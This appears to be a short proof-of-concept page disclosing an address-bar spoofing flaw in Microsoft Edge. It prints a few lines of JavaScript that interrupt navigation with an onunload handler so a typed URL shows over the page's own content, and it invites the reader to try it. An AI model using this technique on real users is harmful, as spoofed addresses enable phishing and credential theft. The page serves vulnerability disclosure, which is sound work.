[MS Edge] - Address Bar Spoof


Update 2016-09-29: you can find a better PoC right here: MS Edge Address Bar Spoof - AKA Thanks Shmuelie.

Type any URL you want in the address bar as if you were trying to leave this page.

We will interrupt the navigation leaving the URL that you typed in the address bar but replacing the content of this page, spoofing the URL!


The code can't be simpler:

window.onunload = function()
{
   document.body.innerHTML = "Spoofed URL on Edge";
   document.execCommand("stop");
}


Go ahead, type anything in the address bar!